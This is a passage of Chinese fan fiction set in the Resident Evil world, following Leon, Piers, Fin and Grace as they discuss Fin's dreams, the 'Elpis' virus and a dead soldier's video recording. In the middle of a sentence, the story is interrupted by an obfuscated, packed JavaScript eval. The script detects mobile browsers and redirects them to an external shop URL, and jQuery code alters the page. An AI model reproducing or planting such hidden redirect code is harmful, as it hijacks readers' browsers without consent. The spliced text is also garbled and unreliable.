“所以那期间你一直在做梦?”皮尔斯听完之后立刻问芬,“究竟是怎么回事?” 芬撇了撇嘴,“不知道。” “然后撞了一下头就恢复过来了?”皮尔斯狐疑地看着芬,又抬手摸了摸她的后脑勺,“撞这里了?这里?” 芬“嗷”了一声,拍开皮尔斯的手,“疼。” “疼就对了,鼓这么大个包呢。”皮尔斯皱眉打量她,又问,“左胳膊怎么回事,抬不起来?” “抬得起来,”芬回答,“就是子弹还在里面留着呢。” 皮尔斯眉头皱得更紧了,“子弹?” “子弹啊。”芬故意用给小学生讲课的口吻解释,“你不知道呀,就是装进枪里的那个东西嘛。” “谢了,你要不说我还不知道呢。”皮尔斯翻了个白眼,这才想起来里昂告诉过他开枪打了芬这回事,只好悻悻地放过了这个话题。 他抬手摸了摸芬的左臂,不想表现出心疼来,于是只问了一句:“子弹在哪儿呢?” 芬拉着他的手往上,“这儿。位置比较深,所以没挖出来。” “外面已经长好了?”皮尔斯拨开她衣服上的弹孔摸了摸已经愈合的皮肤,叹了口气,“那就尽量别用这只手,小心伤到骨头。” 一旁,格蕾丝小声问里昂:“艾米丽,她、她还好吗?” “那孩子已经送到医院了。”里昂回答,“目前生命体征很好,只要能扛过感染就没有大碍。” “谢天谢地。”格蕾丝松了好大一口气,“谢天谢地。” 芬紧张地问里昂:“你告诉医务人员小心血液感染了吗?”虽然不说医务人员多半也会小心,但这种情况还是比较特殊的。 里昂点了点头,“别担心,是这方面的专业人员接手的。”他说着看了皮尔斯一眼。 皮尔斯也点了点头,然后严肃地问芬:“你梦到的那些事情,孤儿院,还有坐轮椅的老人,你自己觉得是怎么回事?” “呃,感觉更像是……其他人的记忆?”芬说着摇了摇头,“没有数据的话我做不出任何准确判断。但那肯定不是我的回忆,九零年我还没出生呢。” 里昂略一思索,说:“那个孤儿院,你能确定就是浣熊市的孤儿院?” 芬耸了耸肩,“我不确定啊。我只是猜测。” “行吧,”里昂说,“至少那里和我们的目的地基本是一致的。” 皮尔斯皱起眉,不赞同地说道:“我们得找人把她们撤出去。那种地方我们两个去就算了。” “不行!”芬和格蕾丝异口同声地反对起来。 皮尔斯瞪了芬一眼。 芬毫不示弱地瞪回去,“危险是相对的,安全也是相对的。皮尔斯,我们的时间不多了。” “芬,”里昂开口,他知道芬主动涉险是为了什么,“你不用……” “怎么不用?”芬两手叉腰不客气地说道,“我们的时间不多了。重头研制解药要花的时间太长了,我们现在唯一的希望就是维克多还有那帮二逼自己也在研究。我拿到他们的数据,至少是T病毒的相关数据,就能在更短的时间内有所进展。不然你打算怎么办,扮演孤胆英雄,疼就一直咬牙硬撑着?” 里昂说:“我可没咬牙。” 格蕾丝犹豫地看了一眼里昂,她之前还没注意到对方脖子上的黑色纹路。“里昂,如果你病得这么厉害……”格蕾丝之前经手过那些死于同种病症的浣熊市幸存者的案例,她想到同样可怖的死状也可能出现在里昂脸上,就觉得不寒而栗。 “……好吧。”皮尔斯犹豫过后倒是率先做出决定,他对里昂说道,“就让她们跟着吧。” “维克多·基甸在寻找一种叫做‘厄尔庇斯’的病毒。”里昂说,“据说是斯宾塞的最终作品,这种东西如果落到疯子手里,后果不堪设想。” 他看着格蕾丝,继续说道:“维克多认为你是寻找‘厄尔庇斯’的关键所在。如果他再次抓到你,成功释放病毒,整个世界都会毁于一旦。” “我?”格蕾丝无法理解,“为、为、为什么?” “谁知道,我还以为你能给我答案呢。”里昂只看一眼格蕾丝的表情就知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442421|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这姑娘比他自己还摸不着头脑,他叹了口气,“转了一圈回到原点。皮尔斯,如果我们不把这两个姑娘撤出去,就必须保证她们的安全。” “你不是在这方面经验丰富吗?”皮尔斯哼笑了一声。 “呵,我就当你是在夸我吧。”里昂说着朝姑娘们点点头,“对怎么把那道门炸开有头绪了吗?那是去市中心的必经之路。” 芬立刻说道:“我需要工具和零件。但楼上那个临时基地已经炸烂了,得去别的地方找。” 皮尔斯问:“你们刚才上去看清楚其他基地在哪个方向了吗?” 芬和格蕾丝一起摇头,芬说:“差点被炸死,根本没空看。” “炸死?”皮尔斯吃了一惊,格蕾丝刚才讲的太简略了,根本没提她们九死一生这回事。芬只好又细说了一遍,皮尔斯和里昂都对这地方竟然有炮台而大为震惊。 “B.S.A.A.三年前的任务肯定不只是清理感染者这么简单。”里昂摇摇头,“光凭维克多一个人,也绝对不可能阻止这支队伍。” “对了!”芬一拍脑门,从包里掏出之前拆下来的摄像装备,“那边有几具士兵的遗体,我找到了这个还算完整的记录仪。” 皮尔斯立刻接过装备,找出数据线来连接到手机上。四个人凑到一起,看皮尔斯调出来的最后一段视频。 “我去!”在第一个士兵被突然爆头之后芬就忍不住和格蕾丝抱成了一团,她俩都见过尸体,但亲眼见到活人被打成这样,视觉冲击力仍旧非同小可。 然后那个穿着白西装、戴一副墨镜的男人出现了。芬不由得瞪大了眼睛,但那已经是视频的尾声了,没有更多画面。 “天啊,我还以为我脾气就够爆了呢。”里昂喃喃说道,然后对皮尔斯说,“得把这些发给雪莉,让她从数据库里查一下那家伙的身份。” “白西装……”芬忍不住开口,然后在里昂和皮尔斯一起朝她看过来的时候呐呐地补充说完:“没事,就是艾利克斯·威斯克也喜欢穿白西装。” 事实上,她还没见过那人穿其他衣服。这也是芬看到白西装总能第一时间想起自己这位前任导师的原因。 “谁、谁是艾利克斯·威斯克?”格蕾丝问。 “已经死了。”皮尔斯替芬回答,“一个疯子。” 里昂对姑娘们说道:“你们去帐篷里找找有没有防弹背心,有就穿上。这里的丧尸要是会开枪,你们就不能这样子到处乱跑。” “哦。”芬暗暗觉得里昂是在把她们支开,但也只好拉着格蕾丝一起去了帐篷里。 别说,那口大箱子里还真的有防弹背心,就是没有合适她俩的型号。芬挑了两件最小的,先帮格蕾丝穿上。“子弹什么的可以放到这里。”她指了指,“这个是插刀的,这个挂手雷的。” “我没有手雷。”格蕾丝老实地说。 “你会投掷的话可以从箱子里找找,”芬对于杀伤性武器的兴趣主要集中在研究而不是使用上面,“但那玩意儿声音老大,炸得人耳朵都快聋了。扔不远还容易被破片误伤。咱们可没那些老爷们皮糙肉厚。” 格蕾丝忍不住笑起来,帮芬穿戴防弹背心的时候还时不时抖一下。 不全是因为芬的话,主要是太疲惫了,紧绷的神经又在见到友军之后放松下来。